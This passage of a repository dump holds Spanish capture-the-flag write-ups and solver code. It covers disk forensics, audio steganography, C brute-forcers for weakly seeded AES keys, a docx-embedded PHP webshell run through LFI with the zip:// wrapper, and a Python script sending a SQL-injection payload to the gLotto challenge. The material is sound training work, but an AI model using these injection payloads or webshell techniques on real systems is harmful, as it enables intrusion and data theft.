`ntfsundelete`, pero para ello antes extraemos la partición NTFS con `dd`. 50 | 51 | ```bash 52 | dd if=diskimage of=diskimage1 skip=128 count=59392 53 | ``` 54 | 55 | ```bash 56 | ntfsundelete diskimage1 57 | Inode Flags %age Date Time Size Filename 58 | ----------------------------------------------------------------------- 59 | 16 F..! 0% 1970-01-01 01:00 0 60 | 21 F..! 0% 1970-01-01 01:00 0 61 | 22 F..! 0% 1970-01-01 01:00 0 62 | 23 F..! 0% 1970-01-01 01:00 0 63 | 77 FN.. 100% 2018-06-19 10:36 61440 flag.png 64 | 78 FR.. 100% 2018-06-19 11:17 170 top_secret.7z 65 | 79 FN.. 100% 2018-06-19 10:37 2097152 top_secret.db 66 | 80 D... 0% 2018-06-19 10:34 0 docs 67 | 81 FN.. 100% 2017-12-06 17:24 8084 Makefile 68 | ... 69 | ``` 70 | 71 | Extraemos el archivo `top_secret.7z` 72 | 73 | ```bash 74 | ntfsundelete -u -i 78 diskimage1 75 | Undeleted 'top_secret.7z' successfully. 76 | ``` 77 | 78 | Este archivo esta protegido por contraseña, en primer luegar probamos con nuestro diccionario, pero al no encontrar resultado debemos buscar en el contenido del disco. 79 | 80 | En el disco se encuentra un archivo parcialmente sobrescrito con la contraseña del archivo. 81 | 82 | ``` 83 | 7z file 84 | nR3qrtp2(Yu8Y5ph 85 | 86 | 87 | bank login 88 | t0wt0w 89 | ``` 90 | 91 | Flag: `secretmilitarybasecoords` 92 | -------------------------------------------------------------------------------- /cybercamp-quals-2018/14-rick-hacksley/README.md: -------------------------------------------------------------------------------- 1 | # Cybercamp Quals 2018 - 14. Rick Hacksley (500 puntos) 2 | ### Categoría > Esteganografía 3 | 4 | 5 | Estás en una misión de infiltración en las instalaciones del enemigo. Tras una serie de hackeos en su seguridad biométrica has llegado a la sala de servidores, donde tienes la posibilidad de conectarte a la LAN local. Te das cuenta que en la red se repite mucho la transmisión de un archivo sospechoso, el cual deberás analizar para averiguar si esconde nueva tecnología militar. 6 | 7 | #### [Pista 1 Objetivo 14] [45 pts] 8 | #### [Pista 2 Objetivo 14] [90 pts] 9 | #### [Pista 3 Objetivo 14] [120 pts] 10 | 11 | ## Solución 12 | 13 | En primer lugar tenemos el archivo `hard_14.rar` que nos da un error si intentamos abrirlo. 14 | 15 | Si examinamos el archivo, observamos como el primer byte `00` no corresponde a la cabecera RAR. 16 | 17 | ```bash 18 | xxd hard_14.rar |head 19 | 00000000: 0061 7221 1a07 0100 5dd9 52ab 0d01 0509 .ar!....].R..... 20 | 00000010: 0008 0101 cca6 df92 8000 3314 4d94 3402 ..........3.M.4. 21 | 00000020: 030b 8893 d383 8000 04a8 a2d1 8480 00f6 ................ 22 | 00000030: 8302 b7ad 9fa5 8043 010e 7269 636b 2d47 .......C..rick-G 23 | 00000040: 472d 5750 2e77 6176 0a03 13d5 8796 5b88 G-WP.wav......[. 24 | 00000050: b09f 3189 e73c 0846 6433 3344 3f55 444a ..1..<.Fd33D?UDJ 25 | 00000060: 4537 9993 2aa6 d6f0 1de2 b3c2 6d54 f392 E7..*.......mT.. 26 | 00000070: 7849 edb5 52a7 9cf3 de01 3844 e373 934d xI..R.....8D.s.M 27 | 00000080: a9b3 731b c691 288c 6d3b 0012 514f 5e6c ..s...(.m;..QO^l 28 | 00000090: de20 9d34 8a24 0b17 6002 5e67 1d56 ad59 . .4.$..`.^g.V.Y 29 | ``` 30 | 31 | Modificamos este byte por 'R' `0x52` y lo abrimos sin problemas. 32 | 33 | Obtenemos los archivos de audio `rick-GG-WP.wav` y `rick-GG-WP-secret.wav`. 34 | 35 | En el audio `rick-GG-WP.wav` se oculta un mensaje en morse dentro del espectro de frequencias. 36 | La contraseña es la palabra en mayusculas. 37 | 38 | ![](img/morse.png) 39 | 40 | ``` 41 | .--. .- ... ... .-- ----- .-. -.. ---... ... ...-- -.-. ..- .-. .---- - -.-- .-. --- -.-. -.- ... 42 | PASSW0RD:S3CUR1TYROCKS 43 | ``` 44 | 45 | Usamos `steghide` con la contraseña para extraer el contenido oculto del otro archivo de audio `rick-GG-WP-secret.wav`. 46 | 47 | ```bash 48 | steghide extract -sf rick-GG-WP-secret.wav -p S3CUR1TYROCKS 49 | wrote extracted data to "steanopayload17223.txt". 50 | ``` 51 | 52 | Obtenemos un texto en base64, lo convertimos a un archivo binario. 53 | 54 | ```bash 55 | base64 -d steanopayload17223.txt > image.jpg 56 | ``` 57 | 58 | Dentro de los datos EXIF de la imagen se escuentra la flag. 59 | 60 | ```bash 61 | strings -n 12 image.jpg 62 | FLAG: WARHASCHANGED 63 | ``` 64 | 65 | ```bash 66 | exiftool image.jpg 67 | ... 68 | Comment : FLAG: WARHASCHANGED 69 | ... 70 | ``` 71 | -------------------------------------------------------------------------------- /cybercamp-quals-2018/14-rick-hacksley/img/morse.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/14-rick-hacksley/img/morse.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/15-hack-or-escape/img/BackupProtector.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/15-hack-or-escape/img/BackupProtector.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/15-hack-or-escape/img/dnspy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/15-hack-or-escape/img/dnspy.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/15-hack-or-escape/img/evalb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/15-hack-or-escape/img/evalb.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/15-hack-or-escape/img/snow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/15-hack-or-escape/img/snow.png -------------------------------------------------------------------------------- /cybercamp-quals-2018/15-hack-or-escape/img/vs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/cybercamp-quals-2018/15-hack-or-escape/img/vs.png -------------------------------------------------------------------------------- /ecsc-2016/optimus-prime/files/key.parts: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | **************************************************************** 3 | **************************************************************** 4 | **************************************************************** 5 | **************************************************************** 6 | **************************************************************** 7 | **************************************************************** 8 | **************************************************************** 9 | **************************************************************** 10 | HlNb/M95n4zO2tk0V53/hxwWZrAgoBsDNQJBALHlrJ5D1TxPy8JQHyaVP48SRWuK 11 | xQBk3F5nqikVEZiGFZ/SeAgCSxKovU5pH0reRlHhZJX+Abrugr6TYKFzwpkCQEx+ 12 | 6vU1nu4MCIxmC99fOx+ZOaGMKHhzwgkl1VQ8U2GqxuFCXcqmJ8fIolmsLRWaoZ/y 13 | qNL4cCu+KoNbB9KGym0CQAt2Qs77w3Iny+JPRpsbbQSQoyP2YhbXXFBwVmdYbNrA 14 | fT4RcpUCfOennMmpG77xkWB6UFOu0WBH8eX+OtaSfFY= 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /ecsc-2016/optimus-prime/files/my.pub: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6zfbJ9sS8/aFfQe9TxDbZWLy5 3 | nsq9ECmTO9XGEPLrPNitjF6dpJLS5FpU+nXpinbsqmPont5I156gDGPUxeBzd5o8 4 | T6kUnMGErnqX2Yu64L4Pw59Fap8coGpHHg2VIP7H1keUA8quNboiG58OnPtSW1zh 5 | hKv3pIiwFPsLQkNBKQIDAQAB 6 | -----END PUBLIC KEY----- 7 | -------------------------------------------------------------------------------- /ecsc-2016/optimus-prime/files/secret: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/ecsc-2016/optimus-prime/files/secret -------------------------------------------------------------------------------- /ecsc-2016/optimus-prime/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/ecsc-2016/optimus-prime/img/logo.png -------------------------------------------------------------------------------- /ecsc-2018/aes1/crypto-bruteforce.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | // cc -Wall -o crypto crypto.c -lssl -lcrypto 12 | 13 | void usage() 14 | { 15 | printf("crypto - tool to generate keys, encrypt and decrypt\n\n"); 16 | printf("crypto keygen - generate a new key, displayed as hexstring\n"); 17 | printf("crypto enc - encrypt stdin with hexstring key\n"); 18 | printf("crypto dec - decrypt stdin with hexstring key\n"); 19 | printf("\n"); 20 | } 21 | 22 | void brutedecode() { 23 | 24 | FILE *f; 25 | 26 | // READ STDIN 27 | unsigned char msg[16384]; 28 | int n_msg; 29 | int msg_len; 30 | EVP_CIPHER_CTX *ctx; 31 | unsigned char iv[16]; 32 | int n_iv; 33 | unsigned char cipher[16384]; 34 | int n_cipher; 35 | 36 | char filename[50]; 37 | 38 | n_iv = read(STDIN_FILENO, iv, 16); 39 | if (n_iv != 16) { 40 | printf("cannot read IV from stdin\n"); 41 | exit(1); 42 | } 43 | printf("IV: %016x\n", n_iv); 44 | 45 | 46 | n_cipher = read(STDIN_FILENO, cipher, 16384); 47 | if (n_cipher < 16) { 48 | printf("cannot read from stdin\n"); 49 | exit(1); 50 | } 51 | 52 | unsigned char key[16]; 53 | unsigned char hexkey[33]; 54 | unsigned int seed = 0; 55 | int i; 56 | unsigned int val; 57 | 58 | for(seed=0 ; seed<=16777216; seed++) { 59 | 60 | srand(seed); 61 | 62 | for (i=0; i<16; i++) { 63 | val = rand(); 64 | key[i] = (unsigned char)(val & 0xff); 65 | srand(val); 66 | } 67 | 68 | if (!(ctx = EVP_CIPHER_CTX_new())) continue; 69 | 70 | if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv) != 1) { 71 | continue; 72 | } 73 | 74 | if (EVP_DecryptUpdate(ctx, msg, &n_msg, cipher, n_cipher) != 1) { 75 | continue; 76 | } 77 | msg_len = n_msg; 78 | 79 | if (EVP_DecryptFinal_ex(ctx, msg + n_msg, &n_msg) != 1) { 80 | continue; 81 | } 82 | 83 | msg_len += n_msg; 84 | 85 | EVP_CIPHER_CTX_free(ctx); 86 | 87 | for (i=0; i<16; i++) { 88 | sprintf(hexkey + 2*i, "%02x", key[i]); 89 | } 90 | 91 | sprintf(filename, "out/%d_%s", seed, hexkey); 92 | printf("%d ", seed); 93 | f = fopen(filename, "wb"); 94 | fwrite(msg, msg_len, 1, f); 95 | fclose(f); 96 | } 97 | } 98 | 99 | int main(int argc, char *argv[]) { 100 | brutedecode(); 101 | exit(0); 102 | return 1; 103 | } 104 | -------------------------------------------------------------------------------- /ecsc-2018/aes1/files/cipher: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/ecsc-2018/aes1/files/cipher -------------------------------------------------------------------------------- /ecsc-2018/aes1/files/crypto: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/ecsc-2018/aes1/files/crypto -------------------------------------------------------------------------------- /ecsc-2018/aes2/crypto-bruteforce.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | // cc -Wall -o crypto crypto.c -lssl -lcrypto 12 | 13 | void usage() 14 | { 15 | printf("crypto - tool to generate keys, encrypt and decrypt\n\n"); 16 | printf("crypto keygen - generate a new key, displayed as hexstring\n"); 17 | printf("crypto enc - encrypt stdin with hexstring key\n"); 18 | printf("crypto dec - decrypt stdin with hexstring key\n"); 19 | printf("\n"); 20 | } 21 | 22 | void brutedecode() { 23 | 24 | FILE *f; 25 | 26 | // READ STDIN 27 | unsigned char msg[16384]; 28 | int n_msg; 29 | int msg_len; 30 | EVP_CIPHER_CTX *ctx; 31 | unsigned char iv[16]; 32 | int n_iv; 33 | unsigned char cipher[16384]; 34 | int n_cipher; 35 | 36 | char filename[50]; 37 | 38 | n_iv = read(STDIN_FILENO, iv, 16); 39 | if (n_iv != 16) { 40 | printf("cannot read IV from stdin\n"); 41 | exit(1); 42 | } 43 | printf("IV: %016x\n", n_iv); 44 | 45 | 46 | n_cipher = read(STDIN_FILENO, cipher, 16384); 47 | if (n_cipher < 16) { 48 | printf("cannot read from stdin\n"); 49 | exit(1); 50 | } 51 | 52 | unsigned char key[16]; 53 | unsigned char hexkey[33]; 54 | int i; 55 | int val; 56 | long seed; 57 | 58 | for(seed=0 ; seed<=999999; seed++) { 59 | 60 | srand(seed); 61 | 62 | for (i=0; i<16; i++) { 63 | val = rand(); 64 | srand(val); 65 | key[i] = rand(); 66 | } 67 | 68 | if (!(ctx = EVP_CIPHER_CTX_new())) continue; 69 | 70 | if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv) != 1) { 71 | continue; 72 | } 73 | 74 | if (EVP_DecryptUpdate(ctx, msg, &n_msg, cipher, n_cipher) != 1) { 75 | continue; 76 | } 77 | msg_len = n_msg; 78 | 79 | if (EVP_DecryptFinal_ex(ctx, msg + n_msg, &n_msg) != 1) { 80 | continue; 81 | } 82 | 83 | msg_len += n_msg; 84 | 85 | EVP_CIPHER_CTX_free(ctx); 86 | 87 | for (i=0; i<16; i++) { 88 | sprintf(hexkey + 2*i, "%02x", key[i]); 89 | } 90 | 91 | sprintf(filename, "out/%ld_%s", seed, hexkey); 92 | printf("%ld - ", seed); 93 | f = fopen(filename, "wb"); 94 | fwrite(msg, msg_len, 1, f); 95 | fclose(f); 96 | } 97 | } 98 | 99 | int main(int argc, char *argv[]) { 100 | brutedecode(); 101 | exit(0); 102 | return 1; 103 | } 104 | -------------------------------------------------------------------------------- /ecsc-2018/aes2/files/cipher: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/ecsc-2018/aes2/files/cipher -------------------------------------------------------------------------------- /ecsc-2018/aes2/files/crypto: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/ecsc-2018/aes2/files/crypto -------------------------------------------------------------------------------- /ecsc-2018/aes2/img/keygen.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/ecsc-2018/aes2/img/keygen.jpg -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/1.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/10-class.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/10-class.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/11-ajax.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/11-ajax.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/12-wrappers-fail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/12-wrappers-fail.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/13-tmpfile-fail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/13-tmpfile-fail.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/14-symlink-phpinfo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/14-symlink-phpinfo.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/15-wrappers-enabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/15-wrappers-enabled.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/16-shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/16-shell.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/17-ajax-code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/17-ajax-code.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/2-system-disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/2-system-disabled.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/3-wrapper-disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/3-wrapper-disabled.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/4-phpinfo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/4-phpinfo.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/6-socket.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/6-socket.jpg -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/7-ruby-script.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/7-ruby-script.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/8-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/8-flag.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/disable-functions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/disable-functions.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/portscan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/portscan.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/scandir-html.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/scandir-html.png -------------------------------------------------------------------------------- /fwhibbit-2017/impossible-is-nothing/img/scandir.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/impossible-is-nothing/img/scandir.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/README.md: -------------------------------------------------------------------------------- 1 | # CTF FWHIBBIT 2017 - Wash your money 2 | 3 | En esta prueba tenemos una pagina con diferentes funcionalidades, una de ellas nos permite subir archivos *.doc* o *.docx*. 4 | 5 | ![](img/01-web.png) 6 | 7 | ![](img/02-contact.png) 8 | 9 | ![](img/03-upload.png) 10 | 11 | Si intentamos evadir los filtros y subir otro tipo de archivo nos aparece un mensaje con el texto *Not a valid file*. 12 | 13 | ![](img/04-upload-no-valido.png) 14 | 15 | ![](img/05-upload-docx.png) 16 | 17 | ![](img/06-upload-ok.png) 18 | 19 | ![](img/07-rewrite.png) 20 | 21 | Utilizando *wfuzz* encontramos los diferentes archivos que forman la página, y como se utiliza `index.php?page=[file]` para mostrar las paginas. 22 | 23 | ![](img/08-fuzzing-parameter.png) 24 | 25 | Un archivo *docx* es en realidad es un archivo *zip* con los archivos que forman el documento, aprovechamos esto para insertar una webshell php dentro del empaquetado. 26 | 27 | ![](img/09-montar-zip.png) 28 | 29 | Utilizando el wrapper `zip://` podemos ejecutar la webshell. 30 | 31 | ![](img/10-shell.png) 32 | 33 | Aunque no es obligatorio, copiamos la webshell al directorio uploads para trabajar de forma mucho mas comoda. 34 | 35 | Con esta nueva webshell podemos ver facilmente el archivo con la flag en el directorio ** __FLAG_HERE__ ** 36 | 37 | ![](img/14-flag.png) -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/01-web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/01-web.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/02-contact.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/02-contact.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/03-upload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/03-upload.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/04-upload-no-valido.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/04-upload-no-valido.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/05-upload-docx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/05-upload-docx.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/06-upload-ok.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/06-upload-ok.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/07-rewrite.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/07-rewrite.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/08-fuzzing-parameter.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/08-fuzzing-parameter.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/09-montar-zip.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/09-montar-zip.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/10-shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/10-shell.png -------------------------------------------------------------------------------- /fwhibbit-2017/wash-your-money/img/14-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/fwhibbit-2017/wash-your-money/img/14-flag.png -------------------------------------------------------------------------------- /google-ctf-2019/gLotto/gLotto-solve.py: -------------------------------------------------------------------------------- 1 | import requests, re 2 | 3 | from data.march4 import march_r 4 | from data.april4 import april_r 5 | from data.may3 import may_r 6 | from data.june1 import june_r 7 | 8 | marchtable = {'CA5G8VIB6UC9':0, '01VJNN9RHJAC':1, '1WSNL48OLSAJ':2, 'UN683EI26G56':3, 'YYKCXJKAK3KV':4, '00HE2T21U15H':5,'D5VBHEDB9YGF':6, 'I6I8UV5Q64L0':7} 9 | apriltable = {'4KYEC00RC5BZ':0, '7AET1KPGKUG4':1, 'UDT5LEWRSWM9':2, 'OQQRH90KDJH1':3, '2JTBMJW9HZOO':4, 'L4CY1JMRBEAW':5, '8DKYRPIO4QUW':6, 'BFWQCWYK9VHJ':7, '31OSKU57KV49':8} 10 | maytable = {'O3QZ2P6JNSSA':0, 'PQ8ZW6TI1JH7':1, 'OWGVFW0XPLHE':2, 'OMZRJWA7WWBC':3, 'KRRNDWFFIB08':4, 'ZJR7ANXVBLEF':5, '8GAB09Z4Q88A':6} 11 | junetable = {'1JJL716ATSCZ':0, 'YELDF36F4TW7':1, 'WXRJP8D4KKJQ':2, 'G0O9L3XPS3IR':3} 12 | 13 | url = 'https://glotto.web.ctfcompetition.com/' 14 | 15 | payload = '?order0=winner`*0,rand((ord(MID(@lotto,1,1))-47)*85184%20%2b%20(ord(MID(@lotto,2,1))-47)*1936%20%2b%20(ord(MID(@lotto,3,1))-47)*44%20%2b%20(ord(MID(@lotto,4,1))-47))%23&order1=winner`*0,rand((ord(MID(@lotto,5,1))-47)*85184%20%2b%20(ord(MID(@lotto,6,1))-47)*1936%20%2b%20(ord(MID(@lotto,7,1))-47)*44%20%2b%20(ord(MID(@lotto,8,1))-47))%23&order2=winner`*0,rand((ord(MID(@lotto,9,1))-47)*1936%20%2b%20(ord(MID(@lotto,10,1))-47)*44%20%2b%20(ord(MID(@lotto,11,1))-47))%23&order3=winner`*0,rand((ord(MID(@lotto,12,1))-47))%23' 16 | 17 | user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240' 18 | 19 | while True: 20 | 21 | headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive'} 22 | r = requests.get(url+payload, headers=headers) 23 | match = re.findall(r'([0-9A-Z]{12})', r.text) 24 | assert len(match)==28 25 | 26 | march = match[0:8] 27 | april = match[8:17] 28 | may = match[17:24] 29 | june = match[24:28] 30 | 31 | march_n = '' 32 | for x in march: 33 | march_n += str(marchtable[x]) 34 | 35 | april_n = '' 36 | for x in april: 37 | april_n += str(apriltable[x]) 38 | 39 | may_n = '' 40 | for x in may: 41 | may_n += str(maytable[x]) 42 | 43 | june_n = '' 44 | for x in june: 45 | june_n += str(junetable[x]) 46 | 47 | code = march_r[march_n] + april_r[april_n]+ may_r[may_n]+ june_r[june_n] 48 | print(code) 49 | 50 | 51 | headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive','Content-Type':'application/x-www-form-urlencoded' ,'Cookie': 'PHPSESSID='+r.cookies['PHPSESSID']} 52 | r = requests.post(url, data='code='+code, headers=headers) 53 | response = r.text 54 | if 'You won' in response: 55 | print(r.text) 56 | exit() 57 | elif 'The winning ticket' in response: 58 | print(r.text) 59 | continue 60 | else: 61 | print(r.text) 62 | -------------------------------------------------------------------------------- /google-ctf-2019/gLotto/gLotto.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE `march` ( 2 | `date` date NOT NULL, 3 | `winner` varchar(12) NOT NULL 4 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; 5 | 6 | CREATE TABLE `april` ( 7 | `date` date NOT NULL, 8 | `winner` varchar(12) NOT NULL 9 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; 10 | 11 | CREATE TABLE `may` ( 12 | `date` date NOT NULL, 13 | `winner` varchar(12) NOT NULL 14 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; 15 | 16 | CREATE TABLE `june` ( 17 | `date` date NOT NULL, 18 | `winner` varchar(12) NOT NULL 19 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; 20 | 21 | INSERT INTO `march` (`date`, `winner`) VALUES 